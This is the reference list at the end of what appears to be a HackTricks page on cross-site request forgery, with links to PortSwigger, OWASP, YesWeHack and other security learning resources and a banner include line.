- [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
|
||||
- [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
- [Ultimate guide to CSRF vulnerabilities (YesWeHack)](https://www.yeswehack.com/learn-bug-bounty/ultimate-guide-csrf-vulnerabilities)
|
||||
- [OWASP: Cross-Site Request Forgery (CSRF)](https://owasp.org/www-community/attacks/csrf)
|
||||
- [Wikipedia: Cross-site request forgery](https://en.wikipedia.org/wiki/Cross-site_request_forgery)
|
||||
- [PortSwigger Web Security Academy: CSRF labs](https://portswigger.net/web-security/csrf)
|
||||
- [Hackernoon: Blind CSRF](https://hackernoon.com/blind-attacks-understanding-csrf-cross-site-request-forgery)
|
||||
- [YesWeHack Dojo: Hands-on labs](https://dojo-yeswehack.com/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user